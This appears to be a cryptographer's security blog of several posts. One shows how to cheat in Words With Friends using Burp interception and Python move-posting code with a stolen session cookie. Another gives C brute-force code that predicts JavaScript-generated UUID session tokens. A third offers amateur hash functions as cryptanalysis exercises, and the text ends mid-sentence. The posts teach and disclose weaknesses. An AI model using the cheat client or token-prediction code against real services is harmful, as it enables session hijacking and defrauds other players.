  • Code reviewers need to manually search for crypto problems.  It really is not that hard.  Start by doing a grep -Rli crypt (see how to do equivalent in Powershell) to get a list of files that contain the word “crypt”.  Also search for MD5 and so on.
  • Crypto researchers need to more attached to real-world security problems.  If people like Dan Boneh and his colleagues can do research like this, then others can as well.  We need a lot more help to clean up the world’s crypto mess.

Words With Friends Trusts The Clients A Little Too Much

Words With Friends is a Scrabble-like game, which boasts being the world’s most popular word game.

Through a combination of an intercepting proxy and a partially reverse engineered Word with Friends client, we made a number of interesting discoveries. Among them are:

  • How to make your average points per move and your weekly points tally ridiculously high.

  • How to see the letters your opponent has, and the next letters that will be drawn.

  • How to play invalid “words”.

  • How to play words that are not connected to any other words on the board.

Getting Started: Using an Intercepting Proxy

I’ll describe how to do this with an iOS device running Words With Friends and a Mac.  Details for other computers and devices need to be found elsewhere.

We are going to set it up so you can inspect and intercept the iOS communications on your Mac. Download the Burp proxy on your Mac (the free version is sufficient), and follow these instructions to get the Mac intercepting un-encrypted communications from the iPad. Then start your iOS browser and go to an http site (not https) to verify that the the communications are passing through the Mac. If things seem stuck, make sure the intercept is turned off. This youtube tutorial is a decent introduction for those who have not used Burp before.

The next step is to be able to get encrypted (https) communications passing through the Mac. To do so, you need to install the Burp root certificate (from your Mac) onto your iOS device. This can be done following these instructions.

You should now have everything from your iOS device going through Burp on your Mac. Verify this by visiting an https website in your browser, and checking on Burp that the communications are traveling through.

After you have complete this, you may now start Words With Friends. The communications should be traveling through Burp. The fun begins now.

The Mystery of Billy The Kid

If you have a version of Words With Friends that supports a global leaderboard, you may have noticed that nearly every week there is a guy named Billy The Kid who is on the top. If you looked further, you may have noticed his average word per move is almost always 1999 points. How can one possibly average this many points per word? Answer: he set up his client to lie to the Words With Friends server about his score, and you can too.

If you turn the Burp intercept on immediately prior to making a move, you will see something like this for the content (potentially sensitive content blurred out):

qghsqpfThe version of Words With Friends here uses XML, but later versions use JSON. Regardless, notice the highlighted “points=33”. You can change that points value to a large value and the server will believe it provided that you keep the new value under 2000. Hence, in Burp intercept, we could change it to something like 1933:

7pktkps

This will not affect the score on the clients, which is computed independently, but it will be figured into your average and weekly points tally. The above case interception was done on my son’s account while he was playing. He was very excited to see how much his average shot up after a few plays – see below (full identity blurred out). He was #1 in the world until Billy The Kid showed up a couple days later.

q8z1xmh

For those concerned parents, no I am not teaching my child to hack and cheat, but instead asked him to volunteer for my proof-of-concept experiment. We only did it this one session! 🙂

Digging Deeper: Building Your Own Words With Friends Client

Looking again at the HTTP POST for playing a word, the next question we ask is whether we can play arbitrary words by changing the words parameter in the query string. It doesn’t work. When I first tried it, I assumed it was the board_checksum in the POST body that was making it fail, but in retrospect I now think the text tag might have also caused a problem.

To deal with these problems, I Googled for Words with Friends board_checksum, and I found a partially reverse engineered Python client written by Jahn Veach. This code is really nicely written, but does not yet provide the server API calls to play moves. Nevertheless, Jahn had done most of the hard part in terms of providing a Words with Friends Python client.

I made a local copy and updated Jahn’s code to make it play words and do a few other communications with the server. Also, Jahn’s code expects XML communications, which is what you saw in the HTTP POST in the previous section, but more recent Words With Friends clients use JSON. I like JSON much better than XML, so I updated his code to use JSON.

I’m not going to make my code available, because last thing I want is a bunch of script kiddies cheating and ruining the game for everyone. But for those who want to go further than what I did, I’ll tell you a bit about it (and please, don’t make cheating clients publicly available).

The main thing you need to communicate with the Words With Friends server is the cookie, which you can intercept through Burp. Alternatively, Jahn tried to set up his code so that you can log in, but I just use my intercepted cookie to communicate with the server. Once you have the cookie, the following Python API call can be used to make a move:

def api_send_move( url, move_string, points, words, cookie ):
    headers = {'Content-Type': 'application/json',
            'Accept': 'application/json',
            'User-Agent': 'NewWordsWithFriendsFree/3.403 CFNetwork/711.3.18 Darwin/14.0.0',
            'Cookie': cookie
            }
    params = { 'points': str(points), 'words': words }
    r = requests.post( url, headers=headers, params=params, data=move_string )

    return r.text

The move_string is a JSON string that can be obtained by a json.dumps( ) of a structure like this:

            jsonMove = {
                "move": {
                    "from_y": moveObj.fromY, 
                    "from_x": moveObj.fromX, 
                    "move_index": moveObj.moveIndex,
                    "text": moveObj._text, 
                    "to_x": moveObj.toX, 
                    "to_y": moveObj.toY, 
                    "board_checksum": moveObj.boardChecksum,
                    "promoted": moveObj.promoted, 
                    "game_id": moveObj.gameId
                }
            }

The moveObj is an object from the Move class in Jahn’s code. I have Python code that populates this. Currently my code only allows contiguous moves. The code is below, where selected is a list containing the letters selected from your latter rack and h_or_v tells whether the word is horizontal or vertical:

    moveObj = Move()
    moveObj.gameId = game.id
    moveObj.userId = player_id
    moveObj.fromX = x_coord
    moveObj.fromY = y_coord
    if h_or_v == 'h': # horiztonal
        moveObj.toX = x_coord + len(word)-1
        moveObj.toY = y_coord
    else:   # vertical
        moveObj.toX = x_coord
        moveObj.toY = y_coord + len(word)-1
    moveObj.moveIndex = len(game.moves)
    moveObj.text = None
    if (len(word)) == 1:
        moveObj.promoted = 3    # one letter words have promoted = 3
    elif h_or_v == 'h':
        moveObj.promoted = 1    # horizontal moves have promoted = 1
    else:
        moveObj.promoted = 2    # vertical moves have promoted = 2
    moveObj.boardChecksum = None    # This will be computed when board is updated
    moveObj.player = current_user
    moveObj._text = ""
    for i in range(len(word)):
        for j in range(len(rack)):
            if selected[j] == i+1:
                moveObj._text += str(rack[j]) + ","
    workingGame.addMove( moveObj )

If you want to play a word that goes across other letters already played (i.e. non-contiguous moves), then the moveObj._text needs to include “,*” to represent the letters that were already on the board. Additionally, the moveObj.toX or moveObj.toY needs to be adjusted for those letters as well.

As I mentioned above, not only did I need the board_checksum to make this work, but I also think the text XML tag (or JSON tag) was needed. It contains the identity of the letters you played. That identity is according to the LETTER_MAP in Jahn’s code. The code above computes both the board_checksum and the text tags.

I also had to update the code to get a list of your games in JSON format. I threw in a few kludges to make it work (this needs to be cleaned up!):

def api_get_games( url, cookie ):
    headers = {'Content-Type': 'application/json',
            'Accept': 'application/json',
            'User-Agent': 'NewWordsWithFriendsFree/3.403 CFNetwork/711.3.18 Darwin/14.0.0',
            'Cookie': cookie
            }
    params = { 'game_type': 'WordGame',
            'include_invitations': 'true',
            'games_since':'0001-12-30%2000:00:00+00:00',
            'get_current_user':'true',
            # move_since seems to represent a time in milliseconds, where time 0 is approx 14 December 2009
            'moves_since':'195000000000',
            'last_read_chats_since': '1455000000',
            'chat_messages_since': '9783000000' }
    r = requests.get( url, headers=headers, params=params )

Playing Invalid Words With Python Client

The first thing I wanted to try was playing an arbitrary collection of letters to see if Words With Friends would accept it. I expected this to work for two reasons:

  1. Somebody once played the non-word “IZ” against me, which set me off to Googling about invalid words.

  2. I came across this blog, which describes a Words With Friends hacked client that allows you to play arbitrary words.

The next thing I needed was a candidate player to try it on. I’ve been playing Words With Friends long enough that I do not even blink when I see words like QOPH, ZLOTE, HADJI, AZINE, GHI, OAKUM, etc…, so if I’m going to try an arbitrary word, it needs to be against somebody who is pretty obviously cheating (i.e. using external tools to assist in the game).

My candidate: Donna (full identity omitted), who has played a number of suspicious words against me including: KIAUGH, SHEQEL, QINDARS, AECIUM, TRIJET, ARCHAIST, SCHAV, BULIMIC, SHULN. I think she’s cheating: while it is possible that a good player would know a few of these, knowing all of these is extremely unlikely, and being able to identify those words amongst a set of scrambled letters is even more unlikely.

So, here’s what I did. As you can see, from the legitimate client, AIRESHOR is not a word:

egu4pcu

Using my Python client, I attempted to play it (only showing part of the board):

lvr1qlc

The legitimate client accepted it:

hj15vk0

There you have it: no server-side enforcement of the rules!

Donna, if you’re out there reading this blog, sorry, but next time you’re just going to have to cheat a lot harder to beat me again.

Playing Disconnected Words

The next thought: if I can play invalid words, can I also play disconnected words? Yep:

cnzbtzz

Knowing Your Opponent’s Letters and the Next Letters to Be Drawn

Further inspection of the communications with Burp reveals that a random_seed (or random-seed) is sent from the server to the clients. Jahn’s code tells everything you need to know about this. The value is fed into a Mersenne Twister Pseudo Random Number Generator (mersenne.Mersenne in the code), which by the way is not cryptography secure, but that’s the least of the problems here. The Mersenne Twister is used to select the letters you and your opponent draw next from the letter rack (drawFromLetterBag in the code).

The clients keep track of the letters you have and the letters your opponent have. One can simply output those letters if they wanted to build a cheating client.

Please Don’t Cheat

I will never understand what joy people get knowing that they can beat somebody by cheating.  My Python client was not developed for the purpose of cheating, but instead was something that I developed out of curiosity.  As stated above, it was motivated by understanding how Billy The Kid was getting such a high average, and how somebody played an invalid word against me.  I have mostly used it for proof of concepts, though I did use it to get revenge against Donna, a very serious cheater.  That’s about it.

I love playing Words With Friends, and it burns me up when people like Donna cheat. Yes, these people are always going to exist, but if somebody built a client like mine and made it public, then it’s only going to get a lot worse for everybody.  With great power comes … ahh, forget it, you already know that cliché.

What Should (Have) Zynga Do(ne)?

If Zynga would have architected the game according to security guidance, they would have done all rules enforcement on server side, and they should also be processing the letter draw from the server side rather than passing a seed to the clients and trusting them to do it.

I very much doubt that they are going to completely re-architect their game because of this. So, what are the dirty shortcut solutions they could have done to prevent people like me and Jahn from looking under the hood?

  • Prevent reverse engineering: code obfuscation. Sure, the security purists will tell you that that only slows down a hacker but never stops the hacker. My response: Words With Friends is 7 years old with no public hacked client.  Given that it is one of the most popular games out there, and given how easy it is to do what Jahn and I have done, it seems to me that the hackers don’t even have the time or motivation to do the simple stuff against Words With Friends, let alone the hard stuff. And by the way, I truly wish those hackers good luck in their efforts to beat something like Arxan. I fully agree that it is not impossible, but in practice, good luck. Alternatively, Zynga could have used the lower cost Dexguard to provide some level of hurdle to prevent reverse engineering.

  • Prevent intercepting proxy: I would not have been able to do what I did had Zynga used certificate pinning. It is certainly possible that certificate pinning could be bypassed, but it would require a lot more work, especially if obfuscation is used.  Update: See comment from Parsia about certificate pinning.

The two suggestions together might have been all they needed.

Zynga has a bug bounty program. They offer no financial reward, but the Hall of Fame is attractive to some white hats. I did not expect that the issues in this blog would qualify for their bug bounty program, but I emailed them nevertheless on 27th February 2016. They have not replied or acknowledged my email.

If I were Zynga, I would enforce a mandatory upgrade of clients and include the above two recommendations in it.  If they force incompatibility with previous clients, then they may be able to prevent somebody from developing a cheating client that could spoil the game for everyone.

How To Play Words With Friends Like a Pro (Without Cheating!)

15792164235_392be62cf3_c

Alright, now I feel compelled to conclude my blog with some tips and tricks to the game to help get your average over 30 points per move and your average game score around 400. So here we go:

  • Before you look at the board, look at the letters in your hand to see if you can form a bingo (i.e. using all 7 letters).
  • When looking at the letters in your hand to form a bingo, group suffixes such as the following together: ING, ERS, ER, ED, IER, IST, IEST, ISH, ….
  • When looking at the letters in your hand to form a bingo, group prefixes such as the following together: OVER, OUT, UN, RE, ….
  • Don’t always play with the greedy strategy: if you have N and G in your hand but not I, then save the two letters until you draw an I so that you later have ING. A small sacrifice in points in the earlier move can be a big gain in points later.
  • Don’t play an S or a blank unless it is increasing your score by at least 10 more points than the best word you can find without playing the S/blank.
  • Don’t be satisfied with less than 35 points when playing the letter X.  X can be combined with any vowel to form a 2-letter word (AX, EX, XI, OX, XU) so forming two 2-letter words with the X on a double-point square will give you at least 35 points most of the time.
  • Know all two letter words  (GI should also be on the list).
  • Know the English spelling of the letters in the Greek and Hebrew alphabets.
  • Remember, at the end of the game the person who goes out first gets a bonus: the total points of letters still in his opponent’s rack are subtracted from the opponent’s score and added to his score. It’s mathematically equivalent to adding a bonus of double the number of points remaining in that rack and not subtracting any from the other rack. For this reason, rather than maximising your points per word at the end of the game, instead try to maximise your points per word minus two times the sum of the points of the letters that remain in your rack after your word is played.
  • Don’t be afraid to swap letters when you have junk. I do it two or three times a game on average. BTW, swapping letters does not affect your weekly average points per move.
  • Take your time! This is not Scrabble, so don’t be afraid to spend more than a few minutes to find that big word!
  • Of all the features that Words With Friends has, the one that I think is most exploitable is the word-meter, because it can often tell you enough information about where the best word is that you can figure out that best word. As an example, I once thought I had a great word: ZAIRE for 68 points. But when I checked it with the word-meter, it went up only a few bars. I then estimated how big the best word must be based upon the percentage of bars showing up.   The estimate turned out to be close to 300 points. Next, I looked on the board for where would it be possible to get a word that big, and the only way it could possibly happen, I reasoned, was a word covering both a triple word score and a double word score, and the Z was on the triple letter score. Then noticing the ING combination (the N was already on the board, I had I and G), it was only a matter of a couple minutes before I found my highest word ever: TEAZLING for 275 points (and no, I never heard that word before).

Teazling

Have fun.  My longest words are DISJUNCTION and OVERGRAZING (11 letters each), my biggest word is 275 points, and my highest scoring game is 800 (against a really weak opponent, but I have got in the 700s a few times against decent opponents).  What’s yours?

 

Cautionary note: UUIDs generally do not meet security requirements

Some time ago, I was doing a web application penetration test, and noticed that the authentication tokens were UUIDs. This I knew was risky, and in fact if you read the UUID rfc, section 6 of it warns:

Do not assume that UUIDs are hard to guess; they should not be used as security capabilities (identifiers whose mere possession grants access), for example.

As a penetration tester, I was salivating over the thought that I could possibly find the ultimate attack on the application: being able to hijack sessions by predicting past and future UUIDs given a single UUID that I got for my authentication. But this of course is only possible if I knew how the UUIDs were being generated, and there is no fixed standard on their implementation. So what could I do? Ask the developers of course!

Discussion with one of the developers revealed that the UUIDs were generated on the server side in JavaScript using code called randomUUID(). JavaScript on the server side? I thought it must be Nodejs, but the developer said it was not. Instead, he insisted that they were using both Java and JavaScript on the server side, but the UUIDs are generated in JavaScript. Hmmm, I thought I should just take his word for it.

So I Google for randomUUID JavaScript, and this turned up:

function randomUUID() {
  var s = [], itoh = '0123456789ABCDEF';

  // Make array of random hex digits. The UUID only has 32 digits in it, but we
  // allocate an extra items to make room for the '-'s we'll be inserting.
  for (var i = 0; i < 36; i++) s[i] = Math.floor(Math.random()*0x10);

  // Conform to RFC-4122, section 4.4
  s[14] = 4;  // Set 4 high bits of time_high field to version
  s[19] = (s[19] & 0x3) | 0x8;  // Specify 2 high bits of clock sequence

  // Convert to hex chars
  for (var i = 0; i < 36; i++) s[i] = itoh[s[i]];

  // Insert '-'s
  s[8] = s[13] = s[18] = s[23] = '-';

  return s.join('');
}

Ahhh, good! It uses Math.random( ), which almost certainly is not cryptographically secure, so now it was just a matter of finding out how Math.random( ) was implemented in JavaScript. More Googling revealed this C equivalent of the function.  Further research revealed that the stack overflow post was not quite correct: a division by 2^32 was necessary at the end to convert the number between 0 and 1. Thus the code looks like this:

uint32_t V8::Random() {
    // Random number generator using George Marsaglia's MWC algorithm.
    static uint32_t hi = 0;
    static uint32_t lo = 0;

    // Initialize seed using the system random(). If one of the seeds
    // should ever become zero again, or if random() returns zero, we
    // avoid getting stuck with zero bits in hi or lo by reinitializing
    // them on demand.
    if (hi == 0) hi = random();
    if (lo == 0) lo = random();

    // Mix the bits.
    hi = 36969 * (hi & 0xFFFF) + (hi >> 16);
    lo = 18273 * (lo & 0xFFFF) + (lo >> 16);
    return ((hi << 16) + (lo & 0xFFFF)) / Math.pow(2, 32);
}

As a cryptographer, it didn’t take me very long to see that this pseudo random number generator (prng) has a problem, and thus I was at this point overly excited that I could easily break the UUID generator. I spent a couple hours implementing my attack, and sadly, it turned out not to work. Why?

I went back to the developer and asked him “are you sure you are using JavaScript to generate the UUIDs?” He double-checked, and found out that in fact that they were calling Java’s uuid.randomUUID(). So I looked into that, and found:

The UUID is generated using a cryptographically strong pseudo random number generator.

At this point I gave up.

A recent blog

I regularly read reddit’s netsec subredit, and a couple days ago there was an extremely popular blog posted there based upon the problems with the above prng: TIFU by using Math.random().

This author was mainly interested in the prng for the lack of collisions property, but not cryptographic purposes. He explained in fine detail the problem with the prng. I read through the blog thinking to myself “Gee, I noticed that a while back. Maybe I should have written my own blog about this!”

So today I decided to just add a little extra example of what’s wrong with that prng, this time focusing on its use for cryptographic purposes. I illustrate that it is absolutely trivial to break the JavaScript randomUUID() when it is used for something like authentication tokens. This also fits in well with my previous blog, which showed how to break a number of amateur cryptographic designs.

Breaking the randomUUID() function

If you have not read the blog post above on the fault with the prng, then here’s my own short description. We will work from the C code implementation of Math.random( ) above.

The state consists of (hi, lo), which are both 32-bit unsigned words. It would seem that one needs to try 2^64 combinations to get the state, however it turns out that in our case, we don’t need to. Look at the return value:

return ((hi << 16) + (lo & 0xFFFF)) / Math.pow(2, 32);

Let’s break it down:

  • (hi << 16) is shifting hi 16-bits to the left. The highest 16-bits get shifted off, the least significant bits get moved to most significant bits positions.
  • (lo & 0xFFFF) means adding on the least significant 16-bits onto the above value.

So the net result is that the (l0 & 0xFFFF) does not interfere with the (hi << 16). After the division by 2^32, we get a fractional number between 0 and 1.  If we think about the binary expansion of this fractional number, the first 16-bits after the decimal point come from hi, the next 16-bits come from lo.

The other observation about the Math.random( ) function is that this is the only place where the two state words get mixed. So this tells us that if we only care about the most significant bits from the output, then the lo value does not get mixed in. And that means that we can brute force the part of the prng state that we care about by only concentrating on the hi value, which has 2^32 possibilities. That’s quick and easy to do on a desktop computer.

As you might have seen by now, the randomUUID() function above only uses a few most significant bits. Each nibble of the UUID string is calculated from:

s[i] = Math.floor(Math.random()*0x10);

The ‘0x10’ is the hexadecimal value of 16: in other words, we are shifting the random value left by 4 bits. This means that only the most significant 4 bits from hi get pushed past the decimal point, and then Math.floor( ) drops the remaining bits.

Implementing the attack

The attack is actually quite trivial. We get one UUID, and then we brute force (2^32 possibilities) the hi value that could have caused it. Note: if you are a cryptographer, you can likely find a more clever way than brute forcing hi, but with only 2^32 possibilities, why bother?

Once we have the hi value, we can compute future outputs of the prng that will produce the same UUIDs regardless of what lo is. That means that you can set lo to whatever you want: the attack will work with any value.

So in C, the search would look something like this:

static unsigned int hi = 0, lo = 0;     // initialise with dummy values
int main( int argc, char** argv ) {
    unsigned char uuid[37], *target_uuid;
    int i;
    unsigned int candidate_hi;

    if (argc < 2) {
            printf("usage: %s uuid\n\n", argv[0]);
            return -1;
    }

    target_uuid = argv[1]; // input validation omitted for brevity
    printf("Computing...\n");
    candidate_hi = 0; uuid[36] = '\0';
    // main loop
    do {
        hi = candidate_hi;
        // generate randomUUID using candidate_hi as the seed,
        // store result in the string uuid.
        randomUUID( uuid );
        if (!strncmp( uuid, target_uuid, 36 ))
            break;
        ++candidate_hi;
    } while (candidate_hi != 0);

    if (candidate_hi != 0) {
        int i;
        printf("\nThe value of hi is %u,", hi );
        printf(" and the next 10 UUIDs are:\n");
        for (i=0; i < 10; ++i) {
            randomUUID( uuid );
            printf("\t%s\n", uuid );
        }
    }
    else
        printf("No solution found.\n");
    return 0;
}

Here we have made the (hi, lo) global variables used by randomUUID( ). The main( ) takes in a UUID from the command line, that we call target_uuid. We loop through all possible values for hi and for each one, we compute a UUID. We then check to see if it matches the target, and if so, done.

Complete Source Code

The complete source code for the search as described above is here.  It is a bit slow, but it is not hard to make it faster (see next section).  To test it, you will want to verify that you can break some UUIDs generated in JavaScript.  If you are using the Chrome browser, then see this simple JavaScript code here, which runs directly in your browser.  That code calls Math.random() to generated the randomness, just as described above.  However, the attack code will not work if the UUID is generated in other browsers because different browsers implement Math.random() in different ways.  For that reason, I have also another JavaScript implementation that works in all browsers by emulating Chrome’s Math.random(). You can download that here.

Making it faster

There are two ways to make it faster, algorithmically or improving the implementation. Here we focus only on the latter.

The code currently computes a whole UUID for a candidate_hi, which means calling Math.random( ) 36 times. However, if we have a wrong candidate, there is a good chance that you the newly computed UUID will be wrong in the first few nibbles. Why not check the UUID that you are computing while it is being computed against the target and abort early if it does not match? This gives a huge speedup. On my work Macbook Pro, I can perform the brute force within 1 minute.

Concluding remarks

Are you a developer relying on UUIDs for security? If so, you better double-check the implementation under the hood. If you are not sure what is there, then I highly recommend you move away from UUIDs and use something that was designed for cryptographic purposes. UUIDs were not designed for this purpose! If your UUID generator happens to have this property, then you should feel fortunate.

If you’re a pentester and you find some system that relies on UUIDs for security, then I’d be appreciative if you can find out what is implemented under the hood. Often times these things can be broken trivially, as demonstrated above.

 

So, You Want to Learn to Break Ciphers

Every now and then, I read a question about learning how to break ciphers, or more generally how to become a cryptographer/cryptologist.  From my viewpoint, the most important part of learning this skill is not advanced mathematics, but instead first learning how to think like a cryptographer.  When you go to break a cipher, there are no instructions on how to do it.  You simply need to get your hands dirty with the function under consideration and look for things that do not seem desirable for a secure function of that type.  While having a bag of tricks is going to help, ultimately it’s your creativity, persistence, and skills that are more likely going to make the difference.

I believe that there are a number of hackers out there that already know how to think the right way, and it is simply a matter of exercising that thought process on some reasonable, non-contrived examples to begin to understand what it takes to be a cryptologist.  You should not need to know advanced mathematics or advanced cryptographic techniques (such as linear or differential cryptanalysis) to get started.  So welcome to my blog post, which provides a number of exercise for you to practice on.  These examples mostly come from cryptanalysis that I have done, largely because I know the results, I was able to dig them up, and attacking them did not use advanced techniques.  I am building a list of other examples at the bottom of this blog, and invite other readers to add to it.

Before we begin, I want to point out some other resources on this topic:

  • Schneier’s Self-Study Course in Block Cipher Cryptanalysis is a great resource, but in my mind it is not the ideal place to start — from my viewpoint, it is the next step after you prove you can break ciphers such as what I have below.  By the way, you absolutely should read Schneier’s article So, You Want to be a Cryptographer.
  • The Matasano Crypto Challenges.  While they are similar in same spirit of what I am writing here, my focus is at a lower level — breaking specific cryptographic primitives rather than constructs from these primitives.  Regardless, the Matasano challenges are another great place to start.
  • The Simon Singh Cipher Challenges from his book, The Code Book.  This book is really fun to read, and will get you into the spirit of breaking his challenges.  But the first challenges are too easy and the last ones are very hard: it is really the middle ones that are most interesting.

I’m adding to existing resources because I thought I have a nice, small collection of my own that I have accumulated over the years.  Like the Matasano challenges, my focus is on providing modern examples that are easy to break without complex mathematics or advanced cryptographic techniques.  These examples illustrate how to think like a cryptographer without requiring all the complex background in the most advanced cryptanalytic techniques.  If you can solve these problems (and your solutions may not necessarily be the same as mine), then you have the right type of thinking to become a cryptographer.  This blog post is written for computer scientists without deep mathematics skills that want to learn how to do cryptanalysis, and teachers of cryptography for computer science students.

The examples come from different sources.  For example, I have a few proposals by amateurs that were easily cracked, including a couple from the old sci.crypt Google group (it was a popular meeting place for crypto-geeks before Google took over).  I have at least one proposal by an expert in some other field that was attempting to apply his skills to cryptography despite having little background in crypto.  I have one design that was built into software and relied upon for real-world security.  And then I have one example of something that was not intended for cryptographic purposes yet sometimes is misused by developers who do not understand that.  So let’s get started!

PHP’s lcg_value( )

PHP’s lcg_value( ) is a pseudo random number generator (PRNG) that is not intended to provide cryptographic security.  Nevertheless, it occasionally gets used in ways that it should not be used.

The internal state of the PRNG has a total possibility of 2^62 combinations, which is too much to brute force this day in age.  However, one technique that is often employed in cryptanalysis is trying all possibilities for half of the bits (2^31 combinations here) and for each candidate, see if you can compute the remaining bits in constant time.  You then check whether the candidate is right by computing future outputs of the assumed internal state to to see whether or not it matches.  If it does, then you presume you have the right state, and if it does not match, then you know the candidate is wrong.

It turns out that this technique does work for lcg_value( ), and thus it can be cracked in 2^31 operations.  The details are here (the page describes the algorithm, how to attack it, and then provides a link to my solution).  This could take anywhere from a half-day to two days, depending upon your experience.  As a bonus, there is an advanced topic at the end of the link — how to crack lcg_value( ) if you only get a fraction of the output bits per iteration: this is a bit harder.

Chaotic hash function

Every year there is the Crypto conference in Santa Barbara that has a light-hearted “rump session” where participants can present research-in-progress or anything of interest to the cryptographic community.  In the Crypto 2005 rump session, a researcher presented his new hash function based upon chaos theory.  The researcher was unknown to the cryptographic community.  He put up lots of graphs of his hash function, which might have been intimidating to one with no cryptographic experience, but that was not most of the audience, and hence hardly anybody listened to his presentation.  But I listened carefully, because I suspected an easy target that I wanted to have a go at.

Why did I suspect it an easy target?  I knew absolutely zero about chaos theory, and had no intention to learning it.  But what I saw was a guy who did not know anything about cryptography and how ciphers were attacked, and I was pretty sure I could find collisions in his hash function regardless of any graphs or mathematics behind his design.  The only trick was getting an exact specification so that I can demonstrate that I can break it.  This obstacle is often encountered in cryptanalysis — non-experts do not nail down their specification for whatever reason, but the cryptanalyst needs something concrete to demonstrate his attack.  So I exchanged email with him a few times and we finally agreed that the following C code represents his hash function (where ROTL and ROTR are circular left and right bit rotations):

void hash( unsigned int *input, int len, unsigned int output[4] )
{
    unsigned int x, y, z, u, X, Y, Z, U, A, B, C, D, RV1, RV2, RV3, RV4;
    unsigned int M = 0xffff;
    int i, offset;
    x = 0x0124fdce; y = 0x89ab57ea; z = 0xba89370a; u = 0xfedc45ef;
    A = 0x401ab257; B = 0xb7cd34e1; C = 0x76b3a27c; D = 0xf13c3adf;
    RV1 = 0xe12f23cd; RV2 = 0xc5ab6789; RV3 = 0xf1234567; RV4 = 0x9a8bc7ef;

    for (i=0; i < len; ++i) {         offset = 4*i;         X = input[offset + 0] ^ x; Y = input[offset + 1] ^ y;         Z = input[offset + 2] ^ z; U = input[offset + 3] ^ u;          /* compute chaos */         x = (X & 0xffff)*(M-(Y>>16)) ^ ROTL(Z,1) ^ ROTR(U,1) ^ A;
        y = (Y & 0xffff)*(M-(Z>>16)) ^ ROTL(U,2) ^ ROTR(X,2) ^ B;
        z = (Z & 0xffff)*(M-(U>>16)) ^ ROTL(X,3) ^ ROTR(Y,3) ^ C;
        u = (U & 0xffff)*(M-(X>>16)) ^ ROTL(Y,4) ^ ROTR(Z,4) ^ D;
        RV1 ^= x; RV2 ^= y; RV3 ^= z; RV4 ^= u;
    }
    /* now run 4 more times */
    for (i=0; i < 4; ++i) {         X = x; Y = y; Z = z; U = u;         /* compute chaos */         x = (X & 0xffff)*(M-(Y>>16)) ^ ROTL(Z,1) ^ ROTR(U,1) ^ A;
        y = (Y & 0xffff)*(M-(Z>>16)) ^ ROTL(U,2) ^ ROTR(X,2) ^ B;
        z = (Z & 0xffff)*(M-(U>>16)) ^ ROTL(X,3) ^ ROTR(Y,3) ^ C;
        u = (U & 0xffff)*(M-(X>>16)) ^ ROTL(Y,4) ^ ROTR(Z,4) ^ D;
        RV1 ^= x; RV2 ^= y; RV3 ^= z; RV4 ^= u;
     }
     output[0] = RV1; output[1] = RV2; output[2] = RV3; output[3] = RV4;
}

Does it look intimidating?  Well, once you start to get your hands dirty, you will see that it is not that bad at all.  The loop at the bottom does not involve any inputs, so if we can create a collision in the top loop, then it will give a collision in the hash.  The top loop takes blocks of 4 input words (128-bits) per iteration and mixes them into the existing state.  Here’s the real killer: for any iteration, the attacker can make (X, Y, Z, U)  to be whatever he wants because he can compute (x, y, z, u) at the beginning of that iteration (simply by processing the previous inputs) and choose the next inputs accordingly.  Now there is still some ugly multiply and rotation stuff in there, but given that you can control (X, Y, Z, U), you can then make those multiplies and rotations behave in a convenient way for your attack.  Suddenly, what seemed to be a ferocious looking lion is nothing more than a tiny kitty cat.  Have a go yourself before you look at my attacks.  This one was easy and really fun to break.

By the way, after breaking this one, you should have decent insight into why algorithms of the MD and SHA families have a pre-processing phase that involves the message length, and use a message expansion that makes sure that functions of the input words get mixed in multiple times per iteration.

Hash Function with “Technique in Overlapping Sums”

Here is another easy one from amateur on the good old sci.crypt group.  The author forgot to both declare and initialise the hash variable, so I fix-up the code below:

#define UL unsigned long
#define LEFT 13
#define RIGHT 19

UL hash[5];
void round() {
    hash[4] += hash[0] >> RIGHT; hash[0] += hash[0] << LEFT;     hash[0] += hash[1] >> RIGHT; hash[1] += hash[1] << LEFT;     hash[1] += hash[2] >> RIGHT; hash[2] += hash[2] << LEFT;     hash[2] += hash[3] >> RIGHT; hash[3] += hash[3] << LEFT;     hash[3] += hash[4] >> RIGHT; hash[4] += hash[4] << LEFT;
}

void processBlock(const UL in[25])
{
    int i, j, r, s;

    memset( hash, 0, sizeof(hash) );
    for (i = 0; i < 5; i++) {
       s = 0;
       for (r=0; r<5; r++) {
           for (j = 0; j < 5; j++) {
               hash[j] ^= in[j+s];
               hash[j]++;
           }
           round();
           s += 5;
       }
    }
}

It seems to only be a compression function (processBlock( )) that takes a 25 word input and produces a 5 word output.  For the r’th round, he is mixing in inputs from in[5*r], … , in[5*r+4] into hash[0], …, hash[4]; seemingly unaware that we could compute the state of hash at any point and choose our next inputs accordingly (similar to the way we broke chaotic hash).  This one falls trivially, but for fun, I made my collisions to be preimages of the all zero output.

FastFlex

When FastFlex was proposed in 2006, the author made bold claims on the sci.crypt newsgroup about it not being resistant to linear or differential cryptanalysis, and wondered if there might be any other issues that he needs to worry about.  When somebody talks about these cryptanalysis techniques, you assume they know a little bit about cryptography, but it just goes to show: learning the techniques without knowing how to think like a cryptographer is of little value.  I took a look at the code the author had, and it had basic problems such as not initialising variables.  Within about a half hour, I found collisions (it may seem like I am always sending in zero words for the functions I break, but I didn’t need to for this one) in the hash function using techniques similar to how I broke the chaotic hash function above, and such collisions could easily be produced regardless of how variables were initialised.  The amusing reply from the author acknowledged the problem but somehow concluded that FastFlex is still safe!

After my reply, the author modified his design and sent it for publication, carefully making sure that the sci.crypt people didn’t see his updated design in the time frame of the publication attempt.  The author claims that the paper was published (see bottom of page), but the updated paper made no acknowledgement of the insecurity of the previous version or my finding.  The evidence for the security in the updated paper is pretty bad.

Unfortunately, the original specification seems to be no longer around, so breaking the new version remains open.  But let’s just say that how I broke it had a lot of similarities to how I broke the chaotic hash function, so first prepare yourself accordingly, and then take out the new FastFlex!  FastFlex is designed to build a number of cryptographic constructs from it.  I recommend starting with the hash functions, and after you break those, go after the random number generator.  If you are like me, you’ll start by going directly after the implementation rather than trying to waste too much time trying to read the author’s research paper.

If FastFlex was indeed published, then you should be able to get a publication out of breaking it provided that you write it up well.  I’d be most delighted to hear successful attacks on this one.  Note to attackers: make sure you save a copy of his code and pdf description after you break it so that the author cannot hide the history.

R.A.T.

Amateurs are never shy to come up with their own cryptographic solutions, and often are generous enough to give them to the world unencumbered by patents.  While their hearts are in the right place, it is just not that easy to build a secure cryptosystem.  At the bottom of this linked page, you can read about the R.A.T. encoding and decoding system.

I’m pretty sure there are numerous ways to attack this one (especially if you want to use linear algebra, but I didn’t), but my solution is in this link.  Don’t look at it until you found your own solution!

But here’s two hints to start you out:

